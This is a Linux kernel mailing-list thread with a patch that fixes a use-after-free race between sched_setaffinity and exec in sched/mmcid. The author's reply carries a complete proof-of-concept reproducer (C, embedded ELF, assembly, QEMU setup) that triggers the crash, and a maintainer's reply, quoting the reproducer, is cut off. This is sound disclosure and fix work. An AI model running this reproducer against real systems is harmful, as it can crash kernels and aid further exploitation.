* [PATCH v3] sched/mmcid: Synchronize MM teardown with affinity updates
@ 2026-11-10 18:38 Weiming Shi
2026-11-10 18:38 ` Weiming Shi
2026-11-10 18:45 ` Mathieu Desnoyers
0 siblings, 2 replies; 4+ messages in thread
From: Weiming Shi @ 2026-11-10 18:38 UTC (permalink / raw)
To: Kees Cook, Alexander Viro, Christian Brauner, Jan Kara,
Ingo Molnar, Peter Zijlstra, Juri Lelli, Vincent Guittot,
Dietmar Eggemann, Steven Rostedt, Ben Segall, Mel Gorman,
Valentin Schneider, K Prateek Nayak
Cc: Mathieu Desnoyers, linux-mm, linux-fsdevel, linux-kernel,
Xiang Mei, Weiming Shi, stable, co+cab19e2ebe4d535a
set_cpus_allowed_common() passes a remote task's p->mm to
mm_update_cpus_allowed() while holding p->pi_lock, but that lock did not
stabilize the pointer against MM replacement. A same-owner
sched_setaffinity() caller can therefore retain the old pointer while exec
replaces and frees it. On architectures which shoot down rather than
refcount lazy TLB MMs, exit_mm() and kthread_unuse_mm() have the same
lifetime gap.
BUG: KASAN: slab-use-after-free in set_cpus_allowed_common
Read of size 4 at addr ffff888123155e4c by task poc/5132
Call Trace:
set_cpus_allowed_common (kernel/sched/core.c:10835)
set_cpus_allowed_fair (kernel/sched/fair.c:10046)
__set_cpus_allowed_ptr_locked (kernel/sched/core.c:3224)
__set_cpus_allowed_ptr (kernel/sched/core.c:3258)
__sched_setaffinity (kernel/sched/syscalls.c:1161)
sched_setaffinity (kernel/sched/syscalls.c:1239)
__x64_sys_sched_setaffinity (kernel/sched/syscalls.c:1275)
do_syscall_64 (arch/x86/entry/syscall_64.c:84)
entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
Freed by task 5127:
kmem_cache_free (mm/slub.c:6757)
__mmput (kernel/fork.c:1204)
mmput (kernel/fork.c:1215)
setup_new_exec (fs/exec.c:1395)
load_elf_binary (fs/binfmt_elf.c:1024)
bprm_execve (fs/exec.c:1865)
do_execveat_common.isra.0 (fs/exec.c:1963)
__x64_sys_execveat (fs/exec.c:2047)
do_syscall_64 (arch/x86/entry/syscall_64.c:84)
entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
Kernel panic - not syncing: KASAN: panic_on_warn set ...
Affinity paths hold p->pi_lock across the p->mm load and its complete use.
After publishing a replacement or NULL p->mm, take and release that same
lock before dropping the old MM reference. For an updater that is already
using the old pointer, the ordering is:
affinity updater MM teardown
---------------- -----------
raw_spin_lock(&p->pi_lock)
mm = p->mm /* old_mm */
p->mm = new_mm or NULL
raw_spin_lock(&p->pi_lock)
/* waits */
mm_update_cpus_allowed(mm, mask)
raw_spin_unlock(&p->pi_lock) /* release */
/* acquire succeeds */
raw_spin_unlock(&p->pi_lock)
...
mmput/mmdrop(old_mm)
The teardown-side acquire cannot complete until an updater ordered before
it has released p->pi_lock, so old_mm remains alive throughout that
updater's access. If teardown is ordered first instead, its unlock is a
release that orders the preceding p->mm store before a later updater's lock
acquire. The later updater therefore observes new_mm or NULL. An updater
that acquired the lock before the store but has not loaded p->mm yet is
still ordered before the teardown-side acquisition; it may observe either
pointer, but teardown waits for its complete use before dropping old_mm.
All runtime callers of set_cpus_allowed_common() hold p->pi_lock across
this access. The runqueue lock is not part of the p->mm lifetime ordering,
so the grace period only needs p->pi_lock. Place it after publication and
before the old reference drop in exec_mmap(), exit_mm(), and
kthread_unuse_mm(). The last two paths matter on architectures which shoot
down rather than refcount lazy TLB MMs.
This change was developed with assistance from an LLM.
Fixes: 7e019dcc470f ("sched: Improve cache locality of RSEQ concurrency IDs for intermittent workloads")
Cc: stable@vger.kernel.org
Reported-by: <co+cab19e2ebe4d535a@bugs.sh>
Signed-off-by: Weiming Shi <bestswngs@gmail.com>
---
Changes in v3:
- Document the p->pi_lock grace period and acquire/release ordering.
- Use p->pi_lock directly and cover exit_mm() and kthread_unuse_mm().
- Refresh the KASAN trace and provide a standalone reproducer in reply.
Changes in v2:
- Replace the schedule-in deferral with an exec-side runqueue-lock barrier.
- Keep affinity expansions synchronous, including expansions narrowed before
the next schedule-in.
- Avoid changes to the MM-CID fork, exit, and scheduling state machine.
fs/exec.c | 1 +
include/linux/sched.h | 2 ++
kernel/exit.c | 1 +
kernel/kthread.c | 1 +
kernel/sched/core.c | 9 +++++++++
5 files changed, 14 insertions(+)
diff --git a/fs/exec.c b/fs/exec.c
index 8d2b14e1d455..3196421cb81d 100644
--- a/fs/exec.c
+++ b/fs/exec.c
@@ -905,6 +905,7 @@ static int exec_mmap(struct linux_binprm *bprm)
BUG_ON(active_mm != old_mm);
/* Defer teardown to setup_new_exec(), outside the exec locks. */
bprm->old_mm = old_mm;
+ sched_mm_cid_mm_barrier(tsk);
} else {
mmdrop_lazy_tlb(active_mm);
}
diff --git a/include/linux/sched.h b/include/linux/sched.h
index 1c93da75226e..f88ab0445be3 100644
--- a/include/linux/sched.h
+++ b/include/linux/sched.h
@@ -2358,6 +2358,7 @@ static __always_inline void alloc_tag_restore(struct alloc_tag *tag, struct allo
#ifdef CONFIG_SCHED_MM_CID
void sched_mm_cid_before_execve(struct task_struct *t);
void sched_mm_cid_after_execve(struct task_struct *t);
+void sched_mm_cid_mm_barrier(struct task_struct *t);
void sched_mm_cid_exit(struct task_struct *t);
static __always_inline int task_mm_cid(struct task_struct *t)
{
@@ -2366,6 +2367,7 @@ static __always_inline int task_mm_cid(struct task_struct *t)
#else
static inline void sched_mm_cid_before_execve(struct task_struct *t) { }
static inline void sched_mm_cid_after_execve(struct task_struct *t) { }
+static inline void sched_mm_cid_mm_barrier(struct task_struct *t) { }
static inline void sched_mm_cid_exit(struct task_struct *t) { }
static __always_inline int task_mm_cid(struct task_struct *t)
{
diff --git a/kernel/exit.c b/kernel/exit.c
index d5e7bc2af804..5f9979d6216c 100644
--- a/kernel/exit.c
+++ b/kernel/exit.c
@@ -582,6 +582,7 @@ static void exit_mm(void)
local_irq_enable();
task_unlock(current);
mmap_read_unlock(mm);
+ sched_mm_cid_mm_barrier(current);
mm_update_next_owner(mm);
mmput(mm);
if (test_thread_flag(TIF_MEMDIE))
diff --git a/kernel/kthread.c b/kernel/kthread.c
index fdb8fb07f40b..e7b393cfdcee 100644
--- a/kernel/kthread.c
+++ b/kernel/kthread.c
@@ -1682,6 +1682,7 @@ void kthread_unuse_mm(struct mm_struct *mm)
enter_lazy_tlb(mm, tsk);
local_irq_enable();
task_unlock(tsk);
+ sched_mm_cid_mm_barrier(tsk);
mmdrop(mm);
}
diff --git a/kernel/sched/core.c b/kernel/sched/core.c
index 04b62c16fa8c..d78a174b5405 100644
--- a/kernel/sched/core.c
+++ b/kernel/sched/core.c
@@ -11128,6 +11128,15 @@ void sched_mm_cid_after_execve(struct task_struct *t)
sched_mm_cid_fork(t);
}
+/*
+ * Pair with set_cpus_allowed_common()'s p->pi_lock critical section. Call
+ * after publishing p->mm and before dropping the old MM reference.
+ */
+void sched_mm_cid_mm_barrier(struct task_struct *t)
+{
+ guard(raw_spinlock_irq)(&t->pi_lock);
+}
+
static void mm_cid_work_fn(struct work_struct *work)
{
struct mm_struct *mm = container_of(work, struct mm_struct, mm_cid.work);
--
2.56.0
^ permalink raw reply [flat|nested] 4+ messages in thread* Re: [PATCH v3] sched/mmcid: Synchronize MM teardown with affinity updates 2026-11-10 18:38 [PATCH v3] sched/mmcid: Synchronize MM teardown with affinity updates Weiming Shi @ 2026-11-10 18:38 ` Weiming Shi 2026-11-10 18:46 ` Mathieu Desnoyers 2026-11-10 18:45 ` Mathieu Desnoyers 1 sibling, 1 reply; 4+ messages in thread From: Weiming Shi @ 2026-11-10 18:38 UTC (permalink / raw) To: Kees Cook, Alexander Viro, Christian Brauner, Jan Kara, Ingo Molnar, Peter Zijlstra, Juri Lelli, Vincent Guittot, Dietmar Eggemann, Steven Rostedt, Ben Segall, Mel Gorman, Valentin Schneider, K Prateek Nayak Cc: Mathieu Desnoyers, linux-mm, linux-fsdevel, linux-kernel, Xiang Mei Hi, Here is a standalone reproducer for the p->mm lifetime race. The tested kernel was commit 05441d697f7f9a927264f4058cbbc6a03dfcac9d with: ``` CONFIG_SMP=y CONFIG_EXPERT=y # CONFIG_FUTEX is not set CONFIG_RSEQ=y CONFIG_SCHED_MM_CID=y CONFIG_KASAN=y CONFIG_KASAN_GENERIC=y CONFIG_KASAN_INLINE=y CONFIG_DEBUG_INFO=y ``` KASAN and DEBUG_INFO produce and decode the report. The vulnerable path requires CONFIG_SCHED_MM_CID=y. This exec manifestation also requires CONFIG_FUTEX=n because futex_exec_done() otherwise serializes old-MM teardown with the p->pi_lock held by the affinity updater. Dependencies and scheduling setup: - x86-64 Linux guest with at least four online CPUs; - gcc and glibc in the guest to build the PoC; - sched_setaffinity(), memfd_create(), and execveat() available; - eight guest vCPUs scheduled on four host CPUs for the tested 2:1 overcommit; - UID/GID 65534 for the tested run. Host command: ``` taskset -c 0-3 qemu-system-x86_64 \ -accel kvm -machine q35 -cpu max -m 8G -smp 8 \ -kernel bzImage -initrd initramfs.cpio.gz \ -append "console=ttyS0 rdinit=/init nokaslr panic_on_warn=1 panic=-1" \ -nographic -no-reboot ``` Build and run inside the guest: ``` gcc -O3 -Wall -Wextra -o poc poc.c ./poc 180 ``` The reproducer works as follows: 1. It decodes an embedded 848-byte ET_EXEC image into a memfd. 2. The victim initially pins itself to the penultimate guest CPU. The setters then alternate its affinity between that CPU alone and the last two guest CPUs while it repeatedly executes the memfd with execveat(AT_EMPTY_PATH). 3. Up to six same-UID setter processes run on the other CPUs and alternate the victim between one- and two-CPU affinity masks. 4. A 31-us periodic userspace SIGALRM provides interrupt pressure. 5. Host CFS overcommit can deschedule a setter after it loads the victim's old p->mm. The victim can then complete setup_new_exec() and free that old mm before the setter reaches mm_update_cpus_allowed(). The PoC counts syscall attempts, successful affinity updates, errors, and completed victim execs separately. Every ten-second window must contain both a successful affinity update and victim exec progress. It checks for an early victim or setter exit, and a clean result requires successful child statuses. This is a stochastic race. The progress-checking version reported the UAF after about 52.60 seconds. The last completed ten-second window before the crash recorded 2,096,128 successful affinity updates, zero errors, and 18,975 completed execs: ``` BUG: KASAN: slab-use-after-free in set_cpus_allowed_common Read of size 4 at addr ffff888123155e4c by task poc/5132 CPU: 4 UID: 65534 PID: 5132 Comm: poc Call Trace: set_cpus_allowed_common kernel/sched/core.c:10835 set_cpus_allowed_fair kernel/sched/fair.c:10046 __set_cpus_allowed_ptr_locked kernel/sched/core.c:3224 __set_cpus_allowed_ptr kernel/sched/core.c:3258 __sched_setaffinity kernel/sched/syscalls.c:1161 sched_setaffinity kernel/sched/syscalls.c:1239 __x64_sys_sched_setaffinity kernel/sched/syscalls.c:1275 do_syscall_64 arch/x86/entry/syscall_64.c:84 entry_SYSCALL_64_after_hwframe arch/x86/entry/entry_64.S:121 Freed by task 5127: kmem_cache_free mm/slub.c:6757 __mmput kernel/fork.c:1204 mmput kernel/fork.c:1215 setup_new_exec fs/exec.c:1395 load_elf_binary fs/binfmt_elf.c:1024 bprm_execve fs/exec.c:1865 do_execveat_common.isra.0 fs/exec.c:1963 __x64_sys_execveat fs/exec.c:2047 do_syscall_64 arch/x86/entry/syscall_64.c:84 entry_SYSCALL_64_after_hwframe arch/x86/entry/entry_64.S:121 ``` Complete PoC: ```c /* * Standalone reproducer for the sched/mmcid p->mm UAF. * * Build: gcc -O3 -o poc poc.c * Run: taskset -c 0-3 qemu-system-x86_64 ... -smp 8 ... * Guest: ./poc [seconds] * * The tiny self-exec victim is embedded below and executed from memfd. The * tested VM used CONFIG_SCHED_MM_CID=y, CONFIG_FUTEX=n and 2:1 vCPU * overcommit (8 vCPUs on 4 host CPUs). */ #define _GNU_SOURCE #include <errno.h> #include <fcntl.h> #include <poll.h> #include <sched.h> #include <signal.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/eventfd.h> #include <sys/mman.h> #include <sys/prctl.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/time.h> #include <sys/types.h> #include <sys/wait.h> #include <time.h> #include <unistd.h> #define DEFAULT_RUNTIME 180 #define MAX_SETTERS 6 #define READY_FD 3 #define VICTIM_FD 4 #define VICTIM_SIZE 848 /* 848-byte ET_EXEC produced from victim_min_execfd.S + victim_min.ld. */ static const char victim_b64[] = "f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAsABAAAAAAABAAAAAAAAAABACAAAAAAAAAAAAAEAAOAAC" "AEAABQAEAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAOAEAAAAAAAA4AQAAAAAAAAAQ" "AAAAAAAAUeV0ZAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAA" "AAAAAABJieS4AQAAAL8DAAAASI01VAAAALoIAAAADwVIg/gIdTlMiedIgecAAOD/vgAAQAC4CwAA" "AA8FuEIBAAC/BAAAAEiNNSgAAABIjRUpAAAARTHSQbgAEAAADwW4PAAAAL9/AAAADwX0kAEAAAAA" "AAAAAAAAAAAAAAAgAUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA" "8f8AAAAAAAAAAAAAAAAAAAAACgAAAAAAAQAYAUAAAAAAAAAAAAAAAAAADgAAAAAAAQAgAUAAAAAA" "AAAAAAAAAAAAFAAAAAAAAQAoAUAAAAAAAAAAAAAAAAAAGQAAABIAAQCwAEAAAAAAAGcAAAAAAAAA" "AHZpY3RpbS5vAG9uZQBlbXB0eQBhcmd2AF9zdGFydAAALnN5bXRhYgAuc3RydGFiAC5zaHN0cnRh" "YgAuaW1hZ2UAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAABsAAAABAAAABwAAAAAAAACwAEAAAAAAALAAAAAAAAAAiAAA" "AAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAA4AQAA" "AAAAAJAAAAAAAAAAAwAAAAUAAAAIAAAAAAAAABgAAAAAAAAACQAAAAMAAAAAAAAAAAAAAAAAAAAA" "AAAAyAEAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABEAAAADAAAAAAAAAAAA" "AAAAAAAAAAAAAOgBAAAAAAAAIgAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA="; struct setter_stats { volatile unsigned long long attempts; volatile unsigned long long successes; volatile unsigned long long errors; }; struct shared_state { struct setter_stats setters[MAX_SETTERS]; }; static int b64_value(unsigned char c) { if (c >= 'A' && c <= 'Z') return c - 'A'; if (c >= 'a' && c <= 'z') return c - 'a' + 26; if (c >= '0' && c <= '9') return c - '0' + 52; if (c == '+') return 62; if (c == '/') return 63; return -1; } static int install_victim(void) { unsigned char out[VICTIM_SIZE]; size_t i, n = 0; unsigned int acc = 0, bits = 0; int fd; for (i = 0; victim_b64[i] && victim_b64[i] != '='; i++) { int v = b64_value((unsigned char)victim_b64[i]); if (v < 0) continue; acc = (acc << 6) | (unsigned int)v; bits += 6; if (bits >= 8) { bits -= 8; if (n == sizeof(out)) { errno = EOVERFLOW; return -1; } out[n++] = (unsigned char)(acc >> bits); acc &= (1U << bits) - 1; } } if (n != sizeof(out)) { errno = EINVAL; return -1; } fd = syscall(SYS_memfd_create, "sched-mmcid-victim", 0); if (fd < 0) return -1; if (fd != VICTIM_FD) { if (dup2(fd, VICTIM_FD) < 0) { close(fd); return -1; } close(fd); fd = VICTIM_FD; } if (write(fd, out, n) != (ssize_t)n || fchmod(fd, 0700)) return -1; return 0; } static int install_exec_counter(void) { int fd = eventfd(0, EFD_NONBLOCK); if (fd < 0) return -1; if (fd != READY_FD) { if (dup2(fd, READY_FD) < 0) { close(fd); return -1; } close(fd); } return 0; } static void pin_self(int cpu) { cpu_set_t mask; CPU_ZERO(&mask); CPU_SET(cpu, &mask); if (sched_setaffinity(0, sizeof(mask), &mask)) { fprintf(stderr, "pin cpu%d: %s\n", cpu, strerror(errno)); _exit(2); } } static void alarm_handler(int sig) { (void)sig; } static void enable_irq_pressure(void) { struct sigaction sa = { .sa_handler = alarm_handler }; struct itimerval timer = { .it_interval = { .tv_sec = 0, .tv_usec = 31 }, .it_value = { .tv_sec = 0, .tv_usec = 31 }, }; sigemptyset(&sa.sa_mask); sa.sa_flags = SA_RESTART; if (sigaction(SIGALRM, &sa, NULL) || setitimer(ITIMER_REAL, &timer, NULL)) _exit(3); } static int drain_exec_counter(unsigned long long *total) { uint64_t value; for (;;) { ssize_t ret = read(READY_FD, &value, sizeof(value)); if (ret == sizeof(value)) { *total += value; continue; } if (ret < 0 && errno == EINTR) continue; if (ret < 0 && errno == EAGAIN) return 0; return -1; } } static int wait_for_first_exec(pid_t victim, unsigned long long *execs) { struct pollfd pfd = { .fd = READY_FD, .events = POLLIN }; int status, ret; do { ret = poll(&pfd, 1, 5000); } while (ret < 0 && errno == EINTR); if (ret != 1 || !(pfd.revents & POLLIN) || drain_exec_counter(execs) || !*execs) return -1; ret = waitpid(victim, &status, WNOHANG); if (ret == victim) { errno = ECHILD; return -1; } return ret < 0 ? -1 : 0; } static void publish_stats(struct setter_stats *stats, unsigned long long attempts, unsigned long long successes, unsigned long long errors) { __atomic_store_n(&stats->attempts, attempts, __ATOMIC_RELAXED); __atomic_store_n(&stats->successes, successes, __ATOMIC_RELAXED); __atomic_store_n(&stats->errors, errors, __ATOMIC_RELAXED); } static void run_setter(pid_t victim, int cpu, int victim_a, int victim_b, int index, time_t deadline, struct shared_state *state) { cpu_set_t one, two; unsigned long long attempts = 0, successes = 0, errors = 0; prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); pin_self(cpu); enable_irq_pressure(); CPU_ZERO(&one); CPU_SET(victim_a, &one); CPU_ZERO(&two); CPU_SET(victim_a, &two); CPU_SET(victim_b, &two); while (time(NULL) < deadline) { if (!syscall(SYS_sched_setaffinity, victim, sizeof(one), &one)) successes++; else errors++; attempts++; if (!syscall(SYS_sched_setaffinity, victim, sizeof(two), &two)) successes++; else errors++; attempts++; if (!(attempts & 0x3ff)) publish_stats(&state->setters[index], attempts, successes, errors); } publish_stats(&state->setters[index], attempts, successes, errors); _exit(0); } static void load_totals(struct shared_state *state, int nset, unsigned long long *attempts, unsigned long long *successes, unsigned long long *errors) { int i; *attempts = *successes = *errors = 0; for (i = 0; i < nset; i++) { *attempts += __atomic_load_n(&state->setters[i].attempts, __ATOMIC_RELAXED); *successes += __atomic_load_n(&state->setters[i].successes, __ATOMIC_RELAXED); *errors += __atomic_load_n(&state->setters[i].errors, __ATOMIC_RELAXED); } } static int wait_child(pid_t pid, int *status) { pid_t ret; do { ret = waitpid(pid, status, 0); } while (ret < 0 && errno == EINTR); return ret == pid ? 0 : -1; } int main(int argc, char **argv) { struct shared_state *state; pid_t victim, setters[MAX_SETTERS]; time_t deadline; unsigned long long attempts = 0, successes = 0, errors = 0; unsigned long long execs = 0, previous_execs, previous_successes = 0; int cpus, runtime, victim_a, victim_b, nset, i, status; int spawned = 0, failed = 0; setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); cpus = (int)sysconf(_SC_NPROCESSORS_ONLN); if (cpus < 4) { fprintf(stderr, "need at least four online CPUs\n"); return 1; } runtime = argc > 1 ? atoi(argv[1]) : DEFAULT_RUNTIME; if (runtime <= 0) runtime = DEFAULT_RUNTIME; victim_a = cpus - 2; victim_b = cpus - 1; nset = victim_a < MAX_SETTERS ? victim_a : MAX_SETTERS; state = mmap(NULL, sizeof(*state), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); if (state == MAP_FAILED) return 1; for (i = 0; i < MAX_SETTERS; i++) setters[i] = -1; if (install_exec_counter() || install_victim()) { perror("install victim"); return 1; } victim = fork(); if (!victim) { cpu_set_t pinned; char *const av[] = { "victim", NULL }; char *const ev[] = { NULL }; prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); CPU_ZERO(&pinned); CPU_SET(victim_a, &pinned); if (sched_setaffinity(0, sizeof(pinned), &pinned)) _exit(4); syscall(SYS_execveat, VICTIM_FD, "", av, ev, AT_EMPTY_PATH); _exit(127); } if (victim < 0) return 1; if (wait_for_first_exec(victim, &execs)) { perror("victim did not begin exec loop"); failed = 1; goto cleanup; } deadline = time(NULL) + runtime; printf("[*] standalone minimal-exec race: runtime=%ds setters=%d\n", runtime, nset); printf("[*] victim starts on cpu%d; setters alternate {%d} and {%d,%d}\n", victim_a, victim_a, victim_a, victim_b); for (i = 0; i < nset; i++) { setters[i] = fork(); if (!setters[i]) run_setter(victim, i, victim_a, victim_b, i, deadline, state); if (setters[i] < 0) { perror("fork setter"); failed = 1; goto cleanup; } spawned++; } previous_execs = execs; while (time(NULL) < deadline) { struct timespec delay; time_t remaining = deadline - time(NULL); pid_t ret; ret = waitpid(victim, &status, WNOHANG); if (ret == victim) { fprintf(stderr, "victim exited early: status=0x%x\n", status); victim = -1; failed = 1; goto cleanup; } if (ret < 0) { perror("waitpid victim"); failed = 1; goto cleanup; } for (i = 0; i < spawned; i++) { if (setters[i] < 0) continue; ret = waitpid(setters[i], &status, WNOHANG); if (ret == setters[i]) { setters[i] = -1; if (time(NULL) < deadline || !WIFEXITED(status) || WEXITSTATUS(status)) { fprintf(stderr, "setter %d exited early: status=0x%x\n", i, status); failed = 1; goto cleanup; } } else if (ret < 0) { perror("waitpid setter"); failed = 1; goto cleanup; } } if (remaining <= 0) break; delay.tv_sec = remaining > 10 ? 10 : remaining; delay.tv_nsec = 0; while (nanosleep(&delay, &delay) && errno == EINTR) ; if (drain_exec_counter(&execs)) { perror("read exec counter"); failed = 1; goto cleanup; } ret = waitpid(victim, &status, WNOHANG); if (ret == victim) { fprintf(stderr, "victim exited early: status=0x%x\n", status); victim = -1; failed = 1; goto cleanup; } if (ret < 0) { perror("waitpid victim"); failed = 1; goto cleanup; } load_totals(state, nset, &attempts, &successes, &errors); if (execs == previous_execs) { fprintf(stderr, "victim made no exec progress in window\n"); failed = 1; goto cleanup; } if (successes == previous_successes) { fprintf(stderr, "setters made no successful affinity progress in window\n"); failed = 1; goto cleanup; } printf("[*] progress: affinity_success=%llu attempts=%llu " "errors=%llu execs=%llu\n", successes, attempts, errors, execs); previous_execs = execs; previous_successes = successes; } for (i = 0; i < spawned; i++) { if (setters[i] < 0) continue; if (wait_child(setters[i], &status) || !WIFEXITED(status) || WEXITSTATUS(status)) { fprintf(stderr, "setter %d failed: status=0x%x\n", i, status); failed = 1; } setters[i] = -1; } load_totals(state, nset, &attempts, &successes, &errors); if (!attempts || !successes || attempts != successes + errors) { fprintf(stderr, "invalid affinity totals\n"); failed = 1; } if (drain_exec_counter(&execs)) { fprintf(stderr, "failed to read final exec progress\n"); failed = 1; } if (kill(victim, SIGKILL)) { perror("kill victim"); failed = 1; } else if (wait_child(victim, &status) || !WIFSIGNALED(status) || WTERMSIG(status) != SIGKILL) { fprintf(stderr, "unexpected victim status: 0x%x\n", status); failed = 1; } victim = -1; if (!failed) { printf("[*] validated completion: affinity_success=%llu " "attempts=%llu errors=%llu execs=%llu; no KASAN report\n", successes, attempts, errors, execs); return 0; } cleanup: for (i = 0; i < spawned; i++) { if (setters[i] > 0) { kill(setters[i], SIGKILL); wait_child(setters[i], &status); } } if (victim > 0) { kill(victim, SIGKILL); wait_child(victim, &status); } puts("[!] validation failed"); return 1; } ``` The embedded victim source and linker script follow. `victim_min_execfd.S`: ```asm .section .text .global _start .type _start,@function _start: mov %rsp, %r12 /* Count this instance through the inherited eventfd. */ mov $1, %eax mov $3, %edi lea one(%rip), %rsi mov $8, %edx syscall cmp $8, %rax jne .Lexit /* Drop the stack and adjacent vDSO/vvar mappings before exec. */ mov %r12, %rdi and $-2097152, %rdi mov $4194304, %esi mov $11, %eax syscall /* execveat(inherited_memfd_4, "", argv, NULL, AT_EMPTY_PATH). */ mov $322, %eax mov $4, %edi lea empty(%rip), %rsi lea argv(%rip), %rdx xor %r10d, %r10d mov $0x1000, %r8d syscall .Lexit: mov $60, %eax mov $127, %edi syscall hlt .size _start, .-_start .section .data .align 8 one: .quad 1 empty: .byte 0 .align 8 argv: .quad empty .quad 0 .section .note.GNU-stack,"",@progbits ``` `victim_min.ld`: ```ld ENTRY(_start) PHDRS { image PT_LOAD FILEHDR PHDRS FLAGS(7); stack PT_GNU_STACK FLAGS(6); } SECTIONS { . = 0x400000 + SIZEOF_HEADERS; .image : ALIGN(16) { *(.text*) *(.rodata*) *(.data*) *(.bss*) } :image /DISCARD/ : { *(.note*) *(.comment*) *(.eh_frame*) } } ``` The embedded image was built with GCC 16.2.1 and GNU ld 2.46.1: ```sh gcc -c -nostdlib -o victim.o victim_min_execfd.S ld -nostdlib -T victim_min.ld -o victim victim.o test "$(stat -c %s victim)" = 848 readelf -h -l -S victim base64 -w 76 victim ``` Thanks, Weiming ^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [PATCH v3] sched/mmcid: Synchronize MM teardown with affinity updates 2026-11-10 18:38 ` Weiming Shi @ 2026-11-10 18:46 ` Mathieu Desnoyers 0 siblings, 0 replies; 4+ messages in thread From: Mathieu Desnoyers @ 2026-11-10 18:46 UTC (permalink / raw) To: Weiming Shi, Kees Cook, Alexander Viro, Christian Brauner, Jan Kara, Ingo Molnar, Peter Zijlstra, Juri Lelli, Vincent Guittot, Dietmar Eggemann, Steven Rostedt, Ben Segall, Mel Gorman, Valentin Schneider, K Prateek Nayak, Thomas Gleixner Cc: linux-mm, linux-fsdevel, linux-kernel, Xiang Mei +CC tglx. On 2026-11-10 13:38, Weiming Shi wrote: > Hi, > > Here is a standalone reproducer for the p->mm lifetime race. > > The tested kernel was commit 05441d697f7f9a927264f4058cbbc6a03dfcac9d > with: > > ``` > CONFIG_SMP=y > CONFIG_EXPERT=y > # CONFIG_FUTEX is not set > CONFIG_RSEQ=y > CONFIG_SCHED_MM_CID=y > CONFIG_KASAN=y > CONFIG_KASAN_GENERIC=y > CONFIG_KASAN_INLINE=y > CONFIG_DEBUG_INFO=y > ``` > > KASAN and DEBUG_INFO produce and decode the report. The vulnerable path > requires CONFIG_SCHED_MM_CID=y. This exec manifestation also requires > CONFIG_FUTEX=n because futex_exec_done() otherwise serializes old-MM teardown > with the p->pi_lock held by the affinity updater. > > Dependencies and scheduling setup: > > - x86-64 Linux guest with at least four online CPUs; > - gcc and glibc in the guest to build the PoC; > - sched_setaffinity(), memfd_create(), and execveat() available; > - eight guest vCPUs scheduled on four host CPUs for the tested 2:1 overcommit; > - UID/GID 65534 for the tested run. > > Host command: > > ``` > taskset -c 0-3 qemu-system-x86_64 \ > -accel kvm -machine q35 -cpu max -m 8G -smp 8 \ > -kernel bzImage -initrd initramfs.cpio.gz \ > -append "console=ttyS0 rdinit=/init nokaslr panic_on_warn=1 panic=-1" \ > -nographic -no-reboot > ``` > > Build and run inside the guest: > > ``` > gcc -O3 -Wall -Wextra -o poc poc.c > ./poc 180 > ``` > > The reproducer works as follows: > > 1. It decodes an embedded 848-byte ET_EXEC image into a memfd. > 2. The victim initially pins itself to the penultimate guest CPU. The setters > then alternate its affinity between that CPU alone and the last two guest > CPUs while it repeatedly executes the memfd with execveat(AT_EMPTY_PATH). > 3. Up to six same-UID setter processes run on the other CPUs and alternate the > victim between one- and two-CPU affinity masks. > 4. A 31-us periodic userspace SIGALRM provides interrupt pressure. > 5. Host CFS overcommit can deschedule a setter after it loads the > victim's old p->mm. The victim can then complete setup_new_exec() and free > that old mm before the setter reaches mm_update_cpus_allowed(). > > The PoC counts syscall attempts, successful affinity updates, errors, and > completed victim execs separately. Every ten-second window must contain both > a successful affinity update and victim exec progress. It checks for an early > victim or setter exit, and a clean result requires successful child statuses. > > This is a stochastic race. The progress-checking version reported the UAF > after about 52.60 seconds. The last completed ten-second window before the > crash recorded 2,096,128 successful affinity updates, zero errors, and 18,975 > completed execs: > > ``` > BUG: KASAN: slab-use-after-free in set_cpus_allowed_common > Read of size 4 at addr ffff888123155e4c by task poc/5132 > CPU: 4 UID: 65534 PID: 5132 Comm: poc > > Call Trace: > set_cpus_allowed_common kernel/sched/core.c:10835 > set_cpus_allowed_fair kernel/sched/fair.c:10046 > __set_cpus_allowed_ptr_locked kernel/sched/core.c:3224 > __set_cpus_allowed_ptr kernel/sched/core.c:3258 > __sched_setaffinity kernel/sched/syscalls.c:1161 > sched_setaffinity kernel/sched/syscalls.c:1239 > __x64_sys_sched_setaffinity kernel/sched/syscalls.c:1275 > do_syscall_64 arch/x86/entry/syscall_64.c:84 > entry_SYSCALL_64_after_hwframe arch/x86/entry/entry_64.S:121 > > Freed by task 5127: > kmem_cache_free mm/slub.c:6757 > __mmput kernel/fork.c:1204 > mmput kernel/fork.c:1215 > setup_new_exec fs/exec.c:1395 > load_elf_binary fs/binfmt_elf.c:1024 > bprm_execve fs/exec.c:1865 > do_execveat_common.isra.0 fs/exec.c:1963 > __x64_sys_execveat fs/exec.c:2047 > do_syscall_64 arch/x86/entry/syscall_64.c:84 > entry_SYSCALL_64_after_hwframe arch/x86/entry/entry_64.S:121 > ``` > > Complete PoC: > > ```c > /* > * Standalone reproducer for the sched/mmcid p->mm UAF. > * > * Build: gcc -O3 -o poc poc.c > * Run: taskset -c 0-3 qemu-system-x86_64 ... -smp 8 ... > * Guest: ./poc [seconds] > * > * The tiny self-exec victim is embedded below and executed from memfd. The > * tested VM used CONFIG_SCHED_MM_CID=y, CONFIG_FUTEX=n and 2:1 vCPU > * overcommit (8 vCPUs on 4 host CPUs). > */ > #define 